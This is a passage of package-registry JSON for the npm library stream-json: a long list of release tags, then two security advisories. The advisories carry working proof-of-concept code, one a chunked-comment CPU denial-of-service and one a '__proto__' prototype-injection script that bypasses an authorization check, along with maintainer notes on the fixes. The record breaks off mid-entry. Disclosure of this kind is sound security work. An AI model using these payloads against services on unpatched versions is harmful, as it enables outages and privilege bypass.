ositories/uhop%2Fstream-json/tags/1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.4/manifests"},{"name":"1.1.3","sha":"db763c7d0122d3f242237cb1799873894f0a6268","kind":"commit","published_at":"2018-10-09T02:43:08.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.1.3","html_url":"https://github.com/uhop/stream-json/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.3/manifests"},{"name":"1.1.2","sha":"46f1886f958be5e968ca708039073662435cd239","kind":"commit","published_at":"2018-10-09T02:13:30.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.1.2","html_url":"https://github.com/uhop/stream-json/releases/tag/1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.2/manifests"},{"name":"1.1.1","sha":"6609143de8352019148f4e0cbcd23a82b837dd3c","kind":"commit","published_at":"2018-07-25T18:50:49.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.1.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.1/manifests"},{"name":"1.1.0","sha":"e32a2b23e2140283b3e47a3622366e3b654b7acc","kind":"commit","published_at":"2018-06-29T03:18:55.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.1.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.1.0/manifests"},{"name":"1.0.3","sha":"0f30510d8f326dfa187b00cbfbf8ef79635ece15","kind":"commit","published_at":"2018-06-27T01:52:19.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.0.3","html_url":"https://github.com/uhop/stream-json/releases/tag/1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.3/manifests"},{"name":"1.0.2","sha":"bdc7e127997bd827b70c4d553e9367b32a52b60a","kind":"commit","published_at":"2018-06-21T23:54:10.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.0.2","html_url":"https://github.com/uhop/stream-json/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.2/manifests"},{"name":"1.0.1","sha":"d235a1062a5e5c39ed7051b635e1b7e41172a981","kind":"commit","published_at":"2018-06-20T04:27:08.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.0.1","html_url":"https://github.com/uhop/stream-json/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"17475d2f084d9ce3b909c0fbc89047b9a4ec641f","kind":"commit","published_at":"2018-06-19T04:29:39.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/1.0.0","html_url":"https://github.com/uhop/stream-json/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/1.0.0/manifests"},{"name":"0.6.1","sha":"887fd8140664caf13722bd4da0befaa360702591","kind":"commit","published_at":"2018-04-25T21:43:41.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.6.1","html_url":"https://github.com/uhop/stream-json/releases/tag/0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.6.1/manifests"},{"name":"0.6.0","sha":"dcf8d543ba3adc544988b2052f7ed7a12e48d5b5","kind":"commit","published_at":"2018-04-25T21:40:45.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.6.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.6.0/manifests"},{"name":"0.5.3","sha":"efc85afd9cce1c2377f7c4c0ba728ec31c99c57c","kind":"commit","published_at":"2018-04-25T20:12:31.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.5.3","html_url":"https://github.com/uhop/stream-json/releases/tag/0.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.3/manifests"},{"name":"0.5.2","sha":"256aefb3923589a78dfbeefee730acd62f35072a","kind":"commit","published_at":"2017-07-13T07:32:36.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.5.2","html_url":"https://github.com/uhop/stream-json/releases/tag/0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.2/manifests"},{"name":"0.5.1","sha":"e0099863f8bd1a49e22c47cd83eb61ef341485f8","kind":"commit","published_at":"2017-06-16T03:33:36.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.5.1","html_url":"https://github.com/uhop/stream-json/releases/tag/0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.1/manifests"},{"name":"0.5.0","sha":"b0340961148370cc2d893924f06844d4241ee334","kind":"commit","published_at":"2017-06-16T03:24:46.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.5.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.5.0/manifests"},{"name":"0.4.2","sha":"4e66a14dabe3afd962c44dc2479b7c76f878fb2f","kind":"commit","published_at":"2016-04-10T05:48:22.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.4.2","html_url":"https://github.com/uhop/stream-json/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"ed8209162ccda8f24ce27393d152700cf8024dc5","kind":"commit","published_at":"2016-03-12T18:51:49.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.4.1","html_url":"https://github.com/uhop/stream-json/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"b9189c3791d10a6795abb1fc0c132f6045527717","kind":"commit","published_at":"2015-06-10T23:20:47.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.4.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.4.0/manifests"},{"name":"0.3.0","sha":"f39ad80736626a6e28de62ec7b445cda75e62e10","kind":"commit","published_at":"2015-06-08T01:33:03.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.3.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.3.0/manifests"},{"name":"0.2.2","sha":"cee1e7c8dd522cbd446befc01dcb8ef1795a3ce8","kind":"commit","published_at":"2015-06-06T22:55:49.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.2.2","html_url":"https://github.com/uhop/stream-json/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.2/manifests"},{"name":"0.2.1","sha":"3d543e083ee1f9be2d7f204a8dbcad2b76c0c169","kind":"commit","published_at":"2015-06-06T22:47:22.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.2.1","html_url":"https://github.com/uhop/stream-json/releases/tag/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.1/manifests"},{"name":"0.2.0","sha":"35d4008110997fc4463bdf5415fe07c7e850a263","kind":"commit","published_at":"2015-05-24T02:15:38.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.2.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.2.0/manifests"},{"name":"0.1.0","sha":"d00e75acbf9c222f3ac2177b9db94a36a023fc05","kind":"commit","published_at":"2015-01-21T01:09:50.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.1.0","html_url":"https://github.com/uhop/stream-json/releases/tag/0.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.1.0/manifests"},{"name":"0.0.5","sha":"1223c03c6e53de6341f8b02a90a4d3e9658458e4","kind":"commit","published_at":"2013-08-16T00:07:36.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.0.5","html_url":"https://github.com/uhop/stream-json/releases/tag/0.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.5/manifests"},{"name":"0.0.4","sha":"24f4e15def8269910a5c871562372be513df5da1","kind":"commit","published_at":"2013-08-14T21:40:39.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.0.4","html_url":"https://github.com/uhop/stream-json/releases/tag/0.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.4/manifests"},{"name":"0.0.3","sha":"ef5434a206e889742988d518db96b140af57532c","kind":"commit","published_at":"2013-08-11T10:52:16.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.0.3","html_url":"https://github.com/uhop/stream-json/releases/tag/0.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.3/manifests"},{"name":"0.0.2","sha":"f36f595cd8be22bce4296712e49b66fae69826a4","kind":"commit","published_at":"2013-08-11T08:11:33.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.0.2","html_url":"https://github.com/uhop/stream-json/releases/tag/0.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.2/manifests"},{"name":"0.0.1","sha":"365342d46cd96cd401d0612c0832ec63268f9113","kind":"commit","published_at":"2013-08-11T06:38:44.000Z","download_url":"https://codeload.github.com/uhop/stream-json/tar.gz/0.0.1","html_url":"https://github.com/uhop/stream-json/releases/tag/0.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/uhop/stream-json@0.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/uhop%2Fstream-json/tags/0.0.1/manifests"}]},"repo_metadata_updated_at":"2026-10-18T02:07:51.217Z","dependent_packages_count":256,"downloads":44657220,"downloads_period":"last-month","dependent_repos_count":5960,"rankings":{"downloads":0.15325408354144285,"dependent_repos_count":0.3220606824075754,"dependent_packages_count":0.21126697804278063,"stargazers_count":2.5879189243889202,"forks_count":4.1741380197338565,"docker_downloads_count":0.3776012731789255,"average":1.3043733268822502},"purl":"pkg:npm/stream-json","advisories":[{"uuid":"GSA_kwCzR0hTQS1ocXI0LXFxOGYtaGczeM4AB7qF","url":"https://github.com/advisories/GHSA-hqr4-qq8f-hg3x","title":"stream-json: JSONC parser and verifier re-scan the whole accumulated comment on every input chunk","description":"## Summary\n\nThe JSONC parser (`stream-json/jsonc/parser.js`) and verifier (`stream-json/jsonc/verifier.js`) scan a comment for its terminator starting from the comment's opening `/` on every input chunk. When a comment doesn't finish inside the current buffer, the scanner returns the comment's start offset and the buffer keeps the whole comment, so the next chunk re-scans everything seen so far. A single comment of length n delivered across many chunks costs O(n²) CPU.\n\nThis is the same class as GHSA-528h-pc64-c93x (path filters, medium, CWE-407): an algorithmic-complexity re-scan in a streaming feature. It's a different code path though — the comment scanner in `handleComment`, which the 3.5.0 depth cap doesn't touch — so upgrading past that advisory doesn't help here. The plain JSON parser is fine: its strings and numbers advance and drop consumed bytes, and only comments retain and re-scan.\n\n## Proof of concept\n\n```\nnpm i stream-json@3.5.0\n```\n\n```js\nimport Parser from 'stream-json/jsonc/parser.js';\n\nfunction feed(N) {\n  return new Promise(resolve =\u003e {\n    const stream = Parser.asStream();            // default options\n    stream.on('data', () =\u003e {});\n    stream.on('error', () =\u003e {});\n    stream.on('end', resolve);\n    const doc = '/*' + 'a'.repeat(N) + '*/1';     // one valid, closed comment\n    for (let i = 0; i \u003c doc.length; i += 16384)   // 16 KB pieces, as a socket delivers a body\n      stream.write(doc.slice(i, i + 16384));\n    stream.end();\n  });\n}\n```\n\nTiming the pipeline (Node 22, one core, clean install): a 2 MB comment blocks the event loop ~0.9 s, 4 MB ~2.9 s, 8 MB ~13 s — roughly 4x per doubling, so quadratic. Smaller chunks make it worse, and the attacker controls TCP segment size: a fixed 4 MB comment takes ~0.75 s at 64 KB chunks, ~2.8 s at 16 KB, ~11 s at 4 KB. Feeding the same input to the JSONC verifier reproduces it identically.\n\n## Impact\n\nRemote, unauthenticated CPU denial of service against any service that runs untrusted input through the JSONC parser or verifier: one request pins a core and stalls the whole event loop.\n\n## Caveat\n\nOnly the JSONC entry points are affected; an app on the default JSON parser is safe. The comment doesn't need to be malformed - a valid, properly closed comment does it. The payload is a few MB, or less if the client sends small chunks. I've suggested medium and left the CVSS vector to you.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (JSONC is configuration you wrote); it is not designed for input from the open internet, and the docs now say so explicitly for JSONC. Comments now mirror chunked strings (`startComment` / `commentChunk` / `endComment`, packed `commentValue`); the scan resumes across input chunks, so a comment of any length costs linear time, and constant memory without packing.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T22:49:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.2,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/uhop/stream-json/security/advisories/GHSA-hqr4-qq8f-hg3x","https://nvd.nist.gov/vuln/detail/CVE-2026-104182","https://github.com/uhop/stream-json/commit/c0299dc168ce9455ef5ca5b6a0f6850ee7fa0468","https://github.com/uhop/stream-json/releases/tag/3.6.0","https://github.com/advisories/GHSA-hqr4-qq8f-hg3x"],"source_kind":"github","identifiers":["GHSA-hqr4-qq8f-hg3x","CVE-2026-104182"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-12T08:00:38.737Z","epss_percentage":0.00138,"epss_percentile":0.02707,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXI0LXFxOGYtaGczeM4AB7qF","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocXI0LXFxOGYtaGczeM4AB7qF","packages":[{"ecosystem":"npm","package_name":"stream-json","versions":[{"first_patched_version":"3.6.0","vulnerable_version_range":"\u003c= 3.5.0"}],"purl":"pkg:npm/stream-json"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocXI0LXFxOGYtaGczeM4AB7qF/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tanc2LTRqajYtMzNoY84AB7qE","url":"https://github.com/advisories/GHSA-mjw6-4jj6-33hc","title":"stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects","description":"### Summary\nA prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype.\n\n### Details\nThe streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js.\n\n### PoC\n\nRun:\n```bash\nnode poc-stream-json-proto-injection.mjs\n```\n\nFull proof-of-concept source (poc-stream-json-proto-injection.mjs):\n```js\n// stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys\n// Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family)\n// Root cause: Assembler builds every object as a plain `Object` and writes\n//   `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment,\n//   ToPropertyKey → inherited Object.prototype __proto__ setter fires)\n// Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change\n// Run:  node poc-stream-json-proto-injection.mjs   (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab)\nimport { parser } from 'stream-json';\nimport jsoncParser from 'stream-json/jsonc/Parser.js';\nimport { streamValues } from 'stream-json/streamers/stream-values.js';\nimport { streamObject } from 'stream-json/streamers/stream-object.js';\nimport { Readable } from 'node:stream';\n\nconst sv = (input, P = parser) =\u003e new Promise((res, rej) =\u003e {\n  const vals = [];\n  Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream())\n    .on('data', d =\u003e vals.push(d.value)).on('end', () =\u003e res(vals)).on('error', rej);\n});\nconst so = (input) =\u003e new Promise((res, rej) =\u003e {\n  const out = {};\n  Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream())\n    .on('data', d =\u003e { out[d.key] = d.value; }).on('end', () =\u003e res(out)).on('error', rej);\n});\n\nlet pass = 0, fail = 0;\nconst check = (name, cond) =\u003e { if (cond) { pass++; console.log(`  PASS  ${name}`); } else { fail++; console.log(`  FAIL  ${name}`); } };\n\nconst INPUT = '{\"__proto__\":{\"isAdmin\":true,\"role\":\"superuser\"},\"name\":\"bob\",\"age\":30}';\nconst baseline = JSON.parse(INPUT);\nconst sv1 = (await sv(INPUT))[0];\nconst so1 = await so(INPUT);\nconst jc1 = (await sv(INPUT, jsoncParser))[0];\nconst nested = (await sv('{\"user\":{\"__proto__\":{\"isAdmin\":true},\"name\":\"alice\"}}'))[0].user;\nconst arrProto = (await sv('{\"__proto__\":[\"isAdmin\",\"role\"],\"name\":\"bob\"}'))[0];\nconst prim = (await sv('{\"__proto__\":\"x\",\"name\":\"bob\"}'))[0];\nconst ctor = (await sv('{\"constructor\":{\"prototype\":{\"polluted\":1}},\"name\":\"bob\"}'))[0];\n\nconsole.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) ==');\ncheck('StreamValues: Object.keys hides __proto__/isAdmin ([\"name\",\"age\"])', JSON.stringify(Object.keys(sv1)) === '[\"name\",\"age\"]');\ncheck('StreamValues: JSON.stringify hides injected props ({\"name\":\"bob\",\"age\":30})', JSON.stringify(sv1) === '{\"name\":\"bob\",\"age\":30}');\ncheck('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin'));\ncheck('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true);\ncheck('StreamValues: obj.role === \"superuser\"', sv1.role === 'superuser');\ncheck('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype);\ncheck('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true \u0026\u0026 Object.keys(so1).length === 2);\ncheck('jsonc parser (comments variant): same read-through', jc1.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(jc1)) === '[\"name\",\"age\"]');\ncheck('NESTED: user.isAdmin === true, own keys [\"name\"]', nested.isAdmin === true \u0026\u0026 JSON.stringify(Object.keys(nested)) === '[\"name\"]');\n\nconsole.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key ==');\ncheck('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__'));\ncheck('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined);\ncheck('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype);\n\nconsole.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like ==');\ncheck('proto is attacker Array (av[0]==\"isAdmin\", av[1]==\"role\")', arrProto[0] === 'isAdmin' \u0026\u0026 arrProto[1] === 'role');\ncheck('legit data lands at attacker-indexed position (av[2]==\"bob\", length 3)', arrProto[2] === 'bob' \u0026\u0026 arrProto.length === 3);\n\nconsole.log('== D. FAIL-CLOSED CONTROLS ==');\ncheck('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype \u0026\u0026 Object.keys(prim).length === 1);\ncheck('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') \u0026\u0026 ({}).polluted === undefined);\ncheck('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined \u0026\u0026 ({}).isAdmin === undefined);\n\nconsole.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass ==');\nconst authorize = o =\u003e o.isAdmin === true \u0026\u0026 o.role === 'superuser';\ncheck('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true);\ncheck('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false);\nconst target = { theme: 'light' };\nfor (const k in sv1) target[k] = sv1[k];        // typical naive/hardened merge (for-in)\ncheck('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)',\n      Object.prototype.hasOwnProperty.call(target, 'isAdmin') \u0026\u0026 target.isAdmin === true);\nconst t2 = { theme: 'light' };\nfor (const k in baseline) t2[k] = baseline[k];   // JSON.parse twin stays clean\ncheck('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin'));\n\nconsole.log(`\\nRESULT: ${pass} PASS / ${fail} FAIL`);\nprocess.exit(fail ? 1 : 0);\n\n```\n\nObserved output (verbatim, Node 24.15.0, Windows):\n```\nRESULT: 21 PASS / 0 FAIL\n```\n\n### Impact\nPrototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json \u003c= 3.5.0; no patched version exists.\n\n---\n\n# Maintainer note on scope\n\nThe attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `\"__proto__\": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does.\n\n---","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T22:49:19.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L","references":["https://github.com/uhop/stream-json/security/advisories/GHSA-mjw6-4jj6-33hc","https://nvd.nist.gov/vuln/detail/CVE-2026-104183","https://github.com/uhop/stream-json/commit/2f2d35bbb547306991ded6487a279154d865a358","https://github.com/uhop/stream-json/releases/tag/3.6.0","https://github.com/advisories/GHSA-mjw6-4jj6-33hc"],"source_kind":"github","identifiers":["GHSA-mjw6-4jj6-33hc","CVE-2026-104183"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-05T23:00:12.773Z","updated_at":"2026-10-14T10:00:38.913Z","epss_percentage":0.00195,"epss_percentile":0.08553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tanc2LTRqajYtMzNoY84AB7qE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tanc2LTRqajYtMzNoY84AB7qE","packages":[{"ecosystem":"npm","package_name":"stream-json","versions":[{"first_patched_version":"3.6.0","vulnerable_version_range":"\u003c